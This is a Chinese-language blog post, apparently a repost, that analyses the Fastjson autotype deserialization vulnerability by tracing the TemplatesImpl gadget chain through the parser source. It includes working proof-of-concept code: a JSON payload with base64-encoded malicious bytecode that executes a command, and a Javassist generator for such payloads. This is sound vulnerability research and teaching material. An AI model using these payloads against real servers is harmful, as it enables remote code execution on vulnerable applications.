Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析首发:先知论坛0x00前言在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。0x01Fas

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Fastjson反序列化漏洞分析

首发:先知论坛

0x00 前言

在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。

0x01 Fastjson使用

在分析漏洞前,还需要学习一些Fastjson库的简单使用。

Fastjson概述

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多,都是处理json数据。可参考该篇文章:Java学习之jackson篇。其实在jackson里面也是存在反序列化漏洞的,这个后面去分析,这里不做赘述。

Fastjson使用

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

Fastjson序列化

代码实例:

定义一个实体类

package com.fastjson.demo;

public class User {
    private String name;
    private int age;

    public User() {
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

定义一个test类:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
        System.out.println(s);


    }
}

运行后结果为:

{"age":18,"name":"xiaoming"}

这是一段标准模式下的序列化成JSON的代码,下面来看另一段。

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
//        String s = JSON.toJSONString(user);
//        System.out.println(s);

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        
        System.out.println(s1);
    }
}

执行结果:

{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}

在和前面代码做对比后,可以发现其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。

Fastjson反序列化

代码实例:

方式一:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
//        System.out.println(s);
        User user1 = JSON.parseObject(s, User.class);
        System.out.println(user1);
    }
}

方式二:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");



        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        JSONObject jsonObject = JSON.parseObject(s1);
        System.out.println(jsonObject);

        
    }
}

这种方式返回的是一个JSONObject的对象

方式三:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        User user1 = JSON.parseObject(s1,User.class);
        System.out.println(user1);

    }
}

执行结果都是一样的

User{name='xiaoming', age=18}

这三段代码中,可以发现用了JSON.parseObjectJSON.parse这两个方法,JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,

而反序列化的时候在,会调用了指定类的全部的setterpublibc修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容,可自行测试一下。

0x02 Fastjson反序列化漏洞复现

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImplJdbcRowSetImpl构造恶意代码实现命令执行,TemplatesImpl这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

漏洞复现

漏洞版本:fastjson 1.22-1.24

利用链:TemplatesImpl

这里做一个简单的demo

构造恶意类:

package nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fj_poc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

Java安全之Fastjson反序列化漏洞分析

执行成功,_bytecodes对应的数据里面可以看到是Base64编码的数据,这数据其实是下面这段代码,编译后进行base64加密后的数据。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

但是在使用运用中个人觉得更倾向于这个poc

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

}

使用Javassist动态生成恶意类放到_bytecodes中。这里发现几个问题,

  1. 如果是只对_bytecodes插入恶意代码为什么需要构造这么多的值。
  2. _bytecodes中的值为什么需要进行Base64加密。
  3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值。
  • @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;

  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码

  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。

  • _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。

  • outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。

来查看一下TemplatesImpl

Java安全之Fastjson反序列化漏洞分析

这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField参数则无法反序列化成功,无法进行利用。

由此可见Fastjson中使用TemplatesImpl链的条件比较苛刻,因为在Fastjson中需要加入Feature.SupportNonPublicField,而这种方式并不多见。

0x03 Fastjson TemplatesImpl链 反序列化漏洞分析

下断点开始跟踪漏洞

public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
    }

这里有几个参数传入,并直接调用了parseObject的重载方法。

几个参数分别是input、clazz、config、features。

input传递进来的是需要反序列化的数据,这里即是我们的payload数据。

clazz为指定的对象,这里是Object.class对象

config则是ParserConfig的实例对象

features参数为反序列化反序列化private属性所用到的一个参数。

Java安全之Fastjson反序列化漏洞分析

实例化了一个DefaultJSONParser,并调用parseObject方法,跟踪parseObject

Java安全之Fastjson反序列化漏洞分析

调用derializer.deserialze方法进行跟踪。

Java安全之Fastjson反序列化漏洞分析

来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class,type不等于

Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。

Java安全之Fastjson反序列化漏洞分析

这里将this.lexer的值,赋值给lexer,而这个this.lexer是在实例化DefaultJSONParser 对象的时候被赋值的。回看我们代码中的DefaultJSONParser 被创建的时候。

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

调用重载方法

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

这里面去调用 lexer.getCurrent()跟踪代码发现就是从lexer返回ch的值。而下面的这段代码

int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

调用lexer.getCurrent(),获取到是ch中数据如果为{就将lexer.token设置为12,如果为[设置 lexer.token设置为14。

调用lexer.getCurrent(),获取当前字符这里获取到的是双引号。lexer这个是JSONScanner实例化对象,里面存储了前面传入的Json数据,但是这里疑问又来了,既然是Json的数据,那么前面的{去哪了呢?为什么这里获取到的不是这个{花括号。

还记得我们前面加载DefaultJSONParser重载方法的时候new JSONScanner(),跟踪查看他的构造方法就知道了

public JSONScanner(String input, int features) {
        super(features);
        this.text = input;
        this.len = this.text.length();
        this.bp = -1;
        this.next();
        if (this.ch == '\ufeff') {
            this.next();
        }

    }

构造方法里面调用了this.next();

public final char next() {
        int index = ++this.bp;
        return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
    }

返回com.alibaba.fastjson.parser.DefaultJSONParser#parse进行跟踪代码。

public Object parse(Object fieldName) {
        JSONLexer lexer = this.lexer;
        switch(lexer.token()) {
        case 1:
        case 5:
        case 10:
        case 11:
        case 13:
        case 15:
        case 16:
        case 17:
        case 18:
        case 19:
        ...
        case 12:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return this.parseObject((Map)object, fieldName);

通过刚刚的分析得知这里的lexer.token()等于12会走到 case 12:这里

Java安全之Fastjson反序列化漏洞分析

调用this.parseObject继续跟踪

Java安全之Fastjson反序列化漏洞分析

这里可以看到获取下一个字符是否为双引号,而后去调用lexer.scanSymbol方法进行提取对应内容数据。

查看一下参数this.symbolTable

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

这里则是提取了@type

Java安全之Fastjson反序列化漏洞分析

接着走到这个地方

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
   

判断key是否等于@type,等于则获取@type中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。

下面走到这段代码

 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
 thisObj = deserializer.deserialze(this, clazz, fieldName);

跟踪,加载两次重载来到这里

Java安全之Fastjson反序列化漏洞分析

上面的代码中直接就获取到了outputProperties跟踪一下,sortedFieldDeserializers.fieldInfo是怎么被赋值的。

查看发现是在构造方法被赋值的,也就是实例化对象的时候

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
    this.clazz = beanInfo.clazz;
    this.beanInfo = beanInfo;
    this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
    int i = 0;

    int size;
    FieldInfo fieldInfo;
    FieldDeserializer fieldDeserializer;
    for(size = beanInfo.sortedFields.length; i < size; ++i) {
        fieldInfo = beanInfo.sortedFields[i];
        fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
        this.sortedFieldDeserializers[i] = fieldDeserializer;
    }

返回上层,JavaBeanDeserializer是在this.config.getDeserializer被创建的,跟进一下

Java安全之Fastjson反序列化漏洞分析

return this.getDeserializer((Class)type, type);

derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);

boolean match = this.parseField(parser, key, object, type, fieldValues);

接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build

下面有几个关键代码

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

在通过@type获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法

set的查找方式:

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

get的查找方式:

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

这样一来就获取到了TemplatesImplgetOutputProperties()
Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪

前面都是重复的内容,遍历去获取json中的内容。

Java安全之Fastjson反序列化漏洞分析

直接定位到这一步进行跟踪

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

替换_字符为空

执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

进行反射调用执行TemplatesImplgetOutputProperties()方法。

接着则来到了这里

Java安全之Fastjson反序列化漏洞分析

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
    _indentNumber, _tfactory);

到了这里其实也就不用跟了,和前面的JDK7u21后半段的链是一样的。

Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes为什么需要进行base64编码的问题,也是分析的时候跟踪漏了。

返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject查看

Java安全之Fastjson反序列化漏洞分析

在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodeBase64进行base64解密

Java安全之Fastjson反序列化漏洞分析

贴出调用链

Java安全之Fastjson反序列化漏洞分析

0x04 结尾

看到网上部分分析文章,分析漏洞只分析了几个点。直接就在某个地方下断点,然后跳到某一个关键位置的点进行分析,很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过,所以漏洞真的分析清楚了嘛?

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119880.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 个人微信号API接口,微信机器人

    个人微信号API接口,微信机器人前段时间公司需求开发一套自定义的微信机器人,需求是可以自己批量添加好友、批量打标签等进行好友管理,社群管理需要自动聊天,自动回复,发朋友圈,转发语音,以及定时群发等,还可以提取聊天内容,进行数据汇总,收藏快捷回复各种功能!一堆需求砸下来,调研开发了3个月,3个月啊!!!(主要被各种技术走偏路),终于成功了,都是走过的心酸泪,分享给大家,大家学习完,记得给我点个赞!!!大家一般需求点无非是以下几个需求:1.开发个人微信营销系统2.开发自定义的微信机器人,3.开发微信智能聊天客服系统

  • DNS服务器搭建与配置

    DNS服务器搭建与配置title:DNS服务器搭建与配置date:2018-10-1521:20:07tags:[Linux笔记,Linux服务]categories:LinuxDNS服务介绍DNS服务简介:DNS(DomainNameSystem–域名系统),是因特网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。是一个应用层的协议DNS使用…

  • java的字符串分割

    java的字符串分割使用split0)方法可以使字符串按指定的分割字符或字符串对内容进行分割,并将分割后的结果存放在字符串数组中。split()方法提供了以下两种字符串分割形式。(1)split(Stringsign)该方法可根据给定的分割符对字符串进行拆分。语法如下:str.spli(Stringsign)其中,sign为分割字符串的分割符,也可以使用正则表达式。.注意:没有统一的对字符进行分割的符号。如果想定义多个分割符,可使用符号“|”。例如,“=”表示分割符分别为“”和“=”。(2)split…

  • 哈佛结构与普林斯顿结构_普林斯顿大学和哈佛大学哪个更厉害

    哈佛结构与普林斯顿结构_普林斯顿大学和哈佛大学哪个更厉害1. 冯·诺依曼结构   冯·诺依曼结构,又称为普林斯顿体系结构,是一种将程序指令存储器和数据存储器合并在一起的存储器结构。取指令和取操作数都在同一总线上,通过分时复用的方式进行;缺点是在高速运行时,不能达到同时取指令和取操作数,从而形成了传输过程的瓶颈。由于程序指令存储地址和数据存储地址指向同一个存储器的不同物理位置,因此程序指令和数据的宽度相同,如英特尔公司的8086中央处理器的程序指

  • Spring AOP详细介绍

    Spring AOP详细介绍AOP称为面向切面编程,在程序开发中主要用来解决一些系统层面上的问题,比如日志,事务,权限等待,Struts2的拦截器设计就是基于AOP的思想,是个比较经典的例子。一AOP的基本概念(1)Asp

  • soap 返回xml 文件 soap 文件 webservice wsdl

    soap 返回xml 文件 soap 文件 webservice wsdl

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号